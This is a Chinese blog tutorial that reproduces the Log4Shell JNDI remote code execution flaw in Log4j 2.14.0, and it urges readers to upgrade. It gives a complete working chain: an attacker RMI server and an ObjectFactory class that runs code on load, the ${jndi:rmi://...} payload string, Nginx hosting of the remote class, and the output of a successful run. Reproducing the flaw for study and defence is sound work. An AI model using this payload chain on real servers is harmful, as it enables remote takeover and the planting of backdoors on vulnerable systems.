大家好,我是冰河~~

周末与一些小伙伴交流的过程当中,发现一些小伙伴公司的项目中使用的Log4j版本还是2.14.0,我一听就有点震惊了:你们还在使用Log4j的2.14.0版本,这个版本存在重大漏洞啊!

但是有些小伙伴看起来对Log4j中存在的重大漏洞不以为意。“我们项目中使用的Log4j一直是2.14.0这个版本啊,一直没啥问题啊!”。哎,看来有些小伙伴对Log4j2.14.0版本存在的漏洞还是不太了解呀,于是我连夜录制了复现Log4j最新重大漏洞的视频,发布到了B站。

本文配套视频如下所示,配套代码关注 冰河技术 公号回复 log4j 获取。

震惊,连夜复现Log4j最新重大漏洞,含完整案例代码,全网最全!!

本文总览

漏洞背景

相信有不少小伙伴都还记得在2021年12月份发布的Log4j(2.14.1及以下版本)重大漏洞,这个漏洞主要是利用Log4j支持的JNDI技术在服务器上执行任意代码。并且此漏洞的安全威胁巨大。官方给出的评估如下。

  • 公开程度:漏洞细节已公开
  • 利用条件:无权限要求
  • 交互要求:0 click
  • 漏洞危害:高危、远程代码执行
  • 影响范围:Log4j2.x <= 2.14.1

以上评估来自:https://x.threatbook.cn/v5/article?threatInfoID=10470

这个漏洞非常非常严重,但是有些小伙伴还在不以为然,今天,我们就一起重现下Log4j的这个重大漏洞。希望各位小伙伴们了解到这个漏洞的严重性后,尽快升级项目中所适用的Log4j版本。

另外,就像我写的《冰河的渗透实战笔记》中描述的那样,骇客和骇客有着本质的区别,本文会模拟骇客利用Log4j漏洞入侵服务器的整个过程。对渗透感兴趣的小伙伴可以在 冰河技术 公号回复 渗透笔记 获取《冰河的渗透实战笔记》电子书。

重现Log4j重大漏洞

为了重现Log4j的重大漏洞,我在IDEA中创建了一个Maven项目log4j-demo,如下所示。

其中log4j-all模块表示本次重现Log4j重大漏洞的所有代码示例。后续为了更好的演示真实的环境效果,我将log4j-all中的代码由拆分成log4j-rmi和log4j-website两个Maven模块。

其中,大家要重点理解的是log4j-rmi模拟的是在一名骇客本地运行的RMI服务,而log4j-website模拟的是一个远程站点,也就是将要被入侵的服务器。在本文中会有详细的场景介绍。

总体项目依赖

打开log4j-demo(Maven父工程)的pom.xml文件,如下所示。

<modules><module>log4j-rmi</module><module>log4j-website</module><module>log4j-all</module>
</modules><dependencies><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.14.0</version></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.0</version></dependency></dependencies><build><plugins><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-compiler-plugin</artifactId><version>3.6.1</version><configuration><source>1.8</source><target>1.8</target></configuration></plugin></plugins>
</build>

可以看到,在log4j-demo(Maven父工程)的pom.xml文件中只是依赖了Apache的2.1.40版本的Log4j,并没有其他多余的Maven依赖。

重现log4j-all漏洞

这里,我们首先以log4j-all模块为例,重现Log4j最新重大漏洞。

log4j-all整体说明

log4j-all模块整体的代码情况如下所示。

如上图所示:

  • io.binghe.log4j.rmi包下的RmiObj类和RmiServer类模拟的是运行在骇客本地的RMI服务。
  • io.binghe.log4j包下的Log4jDemo类模拟的是远程站点。
  • log4j2.xml:Log4j的日志配置文件。

Log4j日志配置

首先看下log4j-all模块下resources目录下的log4j2.xml文件,如下所示。

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN"><Appenders><Console name="Console" target="SYSTEM_OUT"><PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/></Console></Appenders><Loggers><Root level="info"><AppenderRef ref="Console"/></Root></Loggers>
</Configuration>

可以看到,模块下对于Log4j的配置也比较简单,主要就是配置了一个info级别的日志输出,并且是输出到控制台。

模拟远程站点代码解析

(1)查看io.binghe.log4j.Log4jDemo类的代码,如下所示。

/*** @author binghe (公众号:冰河技术)* @version 1.0.0* @description Log4j漏洞示例*/
public class Log4jDemo {private static final Logger LOGGER = LogManager.getLogger();public static void main(String[] args){try {String str = "binghe";LOGGER.info("输出的信息是:{}", str);}catch (Exception e){}}
}

相信不少小伙伴在使用Log4j时,会按照上面的方式打印日志。也就是使用Log4j打印日志的{}占位符,后面再跟上要打印的参数。运行下上面的代码,输出的日志如下所示。

10:45:07.560 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:binghe

可以看到,正确输出了日志信息输出的信息是:binghe

(2)修改io.binghe.log4j.Log4jDemo类的代码中的str字符串变量,将其修改成如下所示。

String str = "${java:os}";

这里,我们将str字符串变量的值由原理的binghe修改为${java:os},我们先不管${java:os}是个什么鬼,继续运行io.binghe.log4j.Log4jDemo类,看看输出的日志信息是${java:os},还是别的什么鬼玩意儿,运行后输出的结果信息如下所示。

10:48:18.977 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Windows 10 10.0, architecture: amd64-64

看到没,输出的信息不是${java:os},而是我正在重现Log4j重大漏洞的电脑操作系统版本Windows 10 10.0, architecture: amd64-64

我们继续将str字符串换成几个其他的变量值试试,如下所示。

  • 将str字符串换成${java:runtime},输出的结果信息如下所示。
10:51:51.334 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation

可以看到,输出的结果信息是当前Java的运行时环境Java(TM) SE Runtime Environment (build 1.8.0_202-b08) from Oracle Corporation,并不是${java:runtime}

  • 将str字符串换成${java:vm},输出的结果信息如下所示。
10:53:20.974 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)

可以看到,输出的结果信息是Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode),并不是${java:vm}

看到这里,可能就会有小伙伴有疑问了,Log4j为哈会打印有关操作系统和Java的相关信息呢?

这其实都是Log4j支持JNDI的结果,有关Log4j支持JNDI的信息,小伙伴们可以参考如下链接,这里我就不再过多的赘述了。

https://logging.apache.org/log4j/2.x/manual/lookups.html

在上面的示例中,我们演示的是Log4j支持的Java Lookup功能。

上述图片来自:https://logging.apache.org/log4j/2.x/manual/lookups.html

模拟骇客本地进程代码解析

(1)在io.binghe.log4j.rmi下存在这两个Java类,一个是RmiObj类,一个是RmiServer类,这两个类模拟的是在骇客本地运行的RMI服务。首先,来看下RmiObj的代码,如下所示。

/*** @author binghe (公众号:冰河技术)* @version 1.0.0* @description 模拟log4j的漏洞*/
public class RmiObj implements ObjectFactory {static {System.out.println("执行代码");//这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。}@Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {return null;}
}

可以看到,RmiObj类的代码比较简单,它实现了javax.naming.spi.ObjectFactory接口,但是并没有实现javax.naming.spi.ObjectFactory接口中的getObjectInstance()方法,在getObjectInstance()方法中直接返回null。

这里,重点是在RmiObj中写了一个静态代码块,如下所示。

static {System.out.println("执行代码");//这里可以写任意代码,比如木马程序,病毒程序,死循环,后门程序等等。
}

就是这个静态代码块,让骇客利用Log4j的远程代码执行漏洞,可以在远程服务器上做任何想要做的事情。

这里,我们只是在静态代码块中简单的打印了执行代码四个字,如果你的项目被骇客盯上了,或许就没我这么友善了。

(2)接下来,看下io.binghe.log4j.rmi包下的RmiServer类,如下所示。

/*** @author binghe (公众号:冰河技术)* @version 1.0.0* @description 模拟漏洞的RMIServer*/
public class RmiServer {public static void main(String[] args){try{LocateRegistry.createRegistry(1099);Registry registry = LocateRegistry.getRegistry();System.out.println("RMI Listener 1099 port");Reference reference = new Reference("io.binghe.log4j.rmi.RmiObj", "io.binghe.log4j.rmi.RmiObj", null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.rebind("test", referenceWrapper);}catch (Exception e){e.printStackTrace();}}
}

RmiServer主要模拟的是在骇客本地运行的RMI进程,而且在log4j-all模块中io.binghe.log4j.rmi包下的RmiObj类和RmiServer都是在骇客本地的代码。

RmiServer类中的代码也是比较简单的,就是按照常规模式发了一个RMI服务。需要注意的是,在RmiServer类中使用Reference类加载了RmiObj类的代码,并且将RMI服务发布在1099端口上,路径是/test

启动重现漏洞程序

(1)运行io.binghe.log4j.rmi.RmiServer类的main()方法骇客本地的RMI服务,启动后输出的日志信息如下所示。

RMI Listener 1099 port

(2)回到模拟远程站点的io.binghe.log4j.Log4jDemo代码,将其中的str字符串变量修改成如下所示。

String str = "${jndi:rmi://192.168.0.106:1099/test}";

其中,jndi:rmi://192.168.0.106:1099/test就是利用Log4j的JNDI技术连接远程RMI服务,其中的192.168.0.106表示我本机的IP地址,1099是启动RMI服务监听的端口号,test是发布RMI服务的根目录。

(3)启动io.binghe.log4j.Log4jDemo类的main()方法,输出了如下的日志信息。

执行代码
11:38:22.380 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,在模拟远程站点的Log4jDemo输出的日志中,不仅打印除了Log4j的日志,还打印了在模拟骇客本地RMI服务的io.binghe.log4j.rmi.RmiObj类中的代码。

这意味着什么呢?意味着在远程服务器上执行了骇客本地的程序,而骇客是可以在自己本地的io.binghe.log4j.rmi.RmiObj类的静态代码块中写任意代码的,是不是很恐怖,这确实是Log4j的一个重大漏洞。

漏洞具体场景分析

说到这里,可能有小伙伴不太理解上述代码的执行逻辑。这里,我给大家举一个具体场景的示例。

(1)一名骇客在自己的本地电脑或者自己的服务器上编写了RmiObj类和RmiServer类,并且在RmiObj类的静态代码块中写了很多破坏远程服务器的代码,比如木马程序、病毒程序、后门程序,死循环等等。在本地电脑或者自己的服务器上启动了RmiServer类来启动一个RMI服务,而RmiServer启动时会加载RmiObj类,如下所示。

(2)在远程站点的Web登录页面中的用户名文本框中输入了字符串${jndi:rmi://192.168.0.106:1099/test},当前具体的IP地址和端口号以及RMI服务的根路径根据骇客的具体情况调整。点击登录按钮后模拟登录操作,就会将用户名${jndi:rmi://192.168.0.106:1099/test}和乱写的密码发送到远程站点的后台。

如果远程站点的后台在接收到用户名${jndi:rmi://192.168.0.106:1099/test}和乱写的密码后,在没有做参数校验的情况下,直接利用Log4j按照如下方式,打印传递过来的用户名和密码。

String username = request.getParameter("username");
String password = request.getParameter("password");
logger.info("用户名为:{}, 密码为:{}", username, password);

此时就会触发Log4j的重大漏洞,在远程站点的服务器上执行骇客本地RmiObj类中的static静态代码块中编写的破坏服务器的代码。相信此时远程站点的服务器就会凉凉了。

至此,我们分析完log4j-all模块了。

重现真实场景漏洞

在log4j-all模块中,我们的所有程序都是在同一个代码模块中的,也就是都在同一个项目中,真实的环境是:RMI服务运行在骇客的本地电脑或者自己的服务器上,而远程站点会运行在远程服务器上。接下来,我们就开始模拟一个更加贴合真实环境的场景。

模拟真实场景项目说明

为了模拟真实场景,这里,我将log4j-all模块继续拆分成log4j-rmi模块和log4j-website模块,其中,log4j-rmi模块模拟运行在骇客本地或自己服务器上的RMI服务,而log4j-website模块模拟远程站点。

log4j-website模块代码分析

在log-website模块中的代码比较简单,整体上在resources目录下有一个log4j2.xml文件,内容与log4j-all模块的log4j2.xml文件内容相同。在log-website模块的io.binghe.log4j包中存在一个Log4jDemo类,代码也与log4j-all模块中的Log4jDemo类的代码基本相同(有稍许不同)。这里,为了模拟远程站点一般部署在远程服务器上,这里将模拟远程站点的Log4jDemo类单独拆分成一个Maven模块工程。log4j-website模块代码结构如下所示。

注意:在log-website模块中的Log4jDemo类的main()方法中会新增如下两行代码。

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");

好了,这就是在log-website模块下模拟的远程站点的Log4jDemo类。

log4j-rmi模块代码分析

我们将log4j-all模块中模拟骇客本地RMI服务的RmiObj类和RmiServer类拆分到了log4j-rmi模块。log4j-rmi模块代码结构如下所示。

其中,RmiObj类与log4j-all中的RmiObj类相同。而RmiServer类比log4j-all模块中的RmiServer类有稍许不同。我们来看下在log4j-rmi模块中的RmiServer类,如下所示。

/*** @author binghe (公众号:冰河技术)* @version 1.0.0* @description 模拟漏洞的RMIServer*/
public class RmiServer {public static void main(String[] args){try{LocateRegistry.createRegistry(1099);Registry registry = LocateRegistry.getRegistry();System.out.println("RMI Listener 1099 port");Reference reference = new Reference("RmiObj", "RmiObj", null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.rebind("test", referenceWrapper);}catch (Exception e){e.printStackTrace();}}
}

可以看到在log4j-rmi模块中的RmiServer类中,创建Reference对象时传递的参数与在log4j-all的RmiServer类中创建Reference对象时传递的参数不同。在RmiServer类中创建Reference对象时传递的参数是RmiObj的全类名,而这里传递的是简单类名。细心的读者应该已经发现了,我在log4j-rmi模块中将RmiObj类和RmiServer类都移动到了java目录下,并没有创建Java包。

第一次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

12:44:23.021 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:Reference Class Name: RmiObj

可以看到,在log4j-website模块下的Log4jDemo类中并没有打印出log4j-rmi模块下的RmiObj类中static静态代码块中输出的信息。

也就是说,远程站点不会执行骇客本地的代码,真实环境不存在这个漏洞?答案是非也,真实环境也存在远程代码执行漏洞。

改造log4j-rmi模块代码

(1)到链接http://nginx.org/en/download.html下载一个Nginx,这里我下载的是Windows版本的Nginx,版本号是1.22.0,如下所示。

(2)将下载后的Nginx进行解压,这里,我将Nginx解压到我本地电脑的D盘下的Nginx/nginx-1.22.0目录下,如下所示。

(3)使用Maven编译log4j-demo整体功能,找到编译后的log4j-rmi模块下的target/classes目录下的RmiObj.class文件,如下所示。

(4)将编译后的log4j-rmi模块下的target/classes目录下的RmiObj.class文件复制到Nginx的html目录下,如下所示。

复制后的效果如下所示。

(5)双击Nginx目录下nginx.exe文件启动Nginx,如下所示。

(6)修改log4j-rmi模块下的RmiServer类的代码,将创建Reference对象时,调用Reference类的构造方法的第三个参数修改成http://127.0.0.1:80/,如下所示。

Reference reference = new Reference("RmiObj", "RmiObj", "http://127.0.0.1:80/");

上述代码表示创建Reference类时,加载了Nginx下的RmiObj.class文件中的RmiObj类。

至此,log4j-rmi模块的代码就改造完成了。

第二次运行程序模拟真实场景

(1)启动log4j-rmi模块下的RmiServer类,会打印出如下日志信息。

RMI Listener 1099 port

说明RMI服务启动成功,并监听了1099端口。

(2)运行log4j-website模块下的Log4jDemo类,输出的日志信息如下所示。

执行代码
13:04:22.542 [main] INFO  io.binghe.log4j.Log4jDemo - 输出的信息是:${jndi:rmi://192.168.0.106:1099/test}

可以看到,这次在log4j-website模块下的Log4jDemo程序的命令行打印出了从Nginx中加载的RmiObj类的静态代码块中输出的信息,而Nginx中的RmiObj类其实就是骇客本地的RmiObj类。

至此,我们再次重现了Log4j的重大漏洞。

漏洞真实场景分析

这里真实场景分析中,远程站点服务器的执行流程与重现log4j-all漏洞中漏洞具体场景分析下的远程站点服务器执行流程相同,都是如下图所示。

而骇客本地RMI服务程序的执行流程稍有不同,这里的流程如下图所示。

理解起来也比较简单,这里,我就不再赘述了。

写在最后

这次的Log4j远程代码执行漏洞威胁很大,不仅很多开源软件受其影响,而且还有很多服务器也深受其害。所以,各位小伙伴们如果在项目中使用的Log4j的版本小于等于2.14.1,那就尽快升级到更高版本的Log4j吧,升级Log4j刻不容缓,大家赶紧行动起来。

好了,今天就到这儿吧,我是冰河,我们下期见~~

冰河连夜复现了Log4j最新史诗级重大漏洞,含视频和完整案例代码,全网最全,赶快收藏吧相关推荐

  1. 刚刚公布的 Log4J 的史诗级安全漏洞 CVE-2021-44228 你处理了吗?

    发生什么事了 Log4J 是一个应用非常广泛的Java库,就在前两天的2021年12月10日,Log4J的一个安全漏洞被公布了.那天正好是周五,很多程序员都在计划着怎么度过一个愉快的周末,不料这个安全 ...

  2. 【漏洞复现】CVE-2020-0796永恒之黑漏洞复现

    文章目录 一.漏洞描述 二.影响版本 三.漏洞检测 四.漏洞复现环境 五.(1)漏洞利用之蓝屏 五.(2)漏洞利用之本地提权 五.(3)漏洞利用之反弹shell 1.使用msfvenom生成paylo ...

  3. python爬取2019年计算机就业_2019年最新Python爬取腾讯招聘网信息代码解析

    原标题:2019年最新Python爬取腾讯招聘网信息代码解析 前言 初学Python的小伙们在入门的时候感觉这门语言有很大的难度,但是他的用处是非常广泛的,在这里将通过实例代码讲解如何通过Python ...

  4. 2019最新黑客风云VIP 网站攻防安全课程(完整)

    2019最新黑客风云VIP 网站攻防安全课程(完整) 下载地址:百度网盘

  5. 最新哔哩哔哩视频弹幕播放器源码+带后台/亲测无错误

    正文: 最新哔哩哔哩视频弹幕播放器源码+带后台/亲测无错误,此款播放器源码添加及修复了很多功能,且所有源码均本地化,不存在外链的情况,测试环境:PHP7.0+MySQL5.6 安装教程: 1,访问/d ...

  6. 冰河公开了常逛的23大学习网站,赶快收藏

    大家好,我是冰河~~ 这次,冰河把自己常逛的网站都整理出来了,希望对小伙伴们有所帮助,大家赶快收藏,一起学习,一起加油,一起进大厂!! 赶快收藏,悄悄努力,然后惊艳所有人!!如果文章对你有点帮助,点赞 ...

  7. I Can See You 远程控制软件最新下载地址(含所有设计文档)

    I Can See You 远程控制软件最新下载地址(含所有设计文档) I Can See You 远程控制软件已经发布差不多2年,偶尔还有人问我要源代码,或者问跟这个软件相关的问题,所以就重新发布到 ...

  8. Log4j 爆发“核弹级”漏洞、工信部力推开源软件发展、“龙腾计划”启动|开源月报 Vol. 02...

    「WeOpen Insight」是腾源会全新推出的"开源趋势与开源洞见"内容专栏,不定期为读者呈现开源圈内的第一手快讯.优质工具盘点等,洞察开源技术发展的风向标,预见未来趋势. P ...

  9. 最新仿抖音短视频APP双端源码+带安装教程/PHP后端

    正文: 最新仿抖音短视频APP双端源码+带安装教程/PHP后端,程序在本文最底部. 下方是程序完整标题: 标题上所谓的双端其实就是安卓/IOS都是分别有源码的,这系统是有安装教程的,有兴趣的自行去研究 ...

最新文章

  1. 中汽创智科技首席人工智能官丁华杰:AI赋能自动驾驶的几点思考
  2. 20170401 11G Deprecated Attributes for LOG_ARCHIVE_DEST_n
  3. bal插口_EBS R12各模块接口表大全
  4. FD.io/VPP — IPSec NAT-T
  5. 阿里云云计算服务 备案期间服务器免费
  6. 使用Skywalking实现全链路监
  7. Hulu直播服务难点解析(三):关键收获
  8. P4755-Beautiful Pair【笛卡尔树,线段树】
  9. yntaxError: Non-UTF-8 code starting with ‘\xe6‘ in file
  10. SQL格式化流水号位数
  11. MFC文档视图中窗口切换 (2012-05-11 18:32:48)
  12. 安川服务器显示fn001,安川伺服驱动器功能参数设置
  13. 微信小程序中使用icon
  14. 使用vue创建项目的详细步骤
  15. Android加固与脱壳分析
  16. 多线程,内附所有源代码和概念
  17. 商城系统选择技巧归纳
  18. pga是啥oracle,Oracle数据库内存体系 - PGA
  19. [Swift]LeetCode825. 适龄的朋友 | Friends Of Appropriate Ages
  20. Macy‘s Thanksgiving Day Parade

热门文章

  1. Windows XP启动
  2. 王者荣耀体验服服务器注册上限怎么办,王者荣耀
  3. 吊挂式抛丸机的具体说明
  4. uniapp 使用 echarts实现图表
  5. 如何有效预防软件项目预算超期?
  6. 求和函数,滑动向上/向下取值函数
  7. bulter机器人_盘点 | 那些在仓库里抢人饭碗的机器人们
  8. 六月底的flag,生活要有仪式感
  9. 抖音直播间人气接口算法 抖音协议
  10. 基于pdf2docx模块Python实现批量将PDF转Word文档(安装+完整代码教程)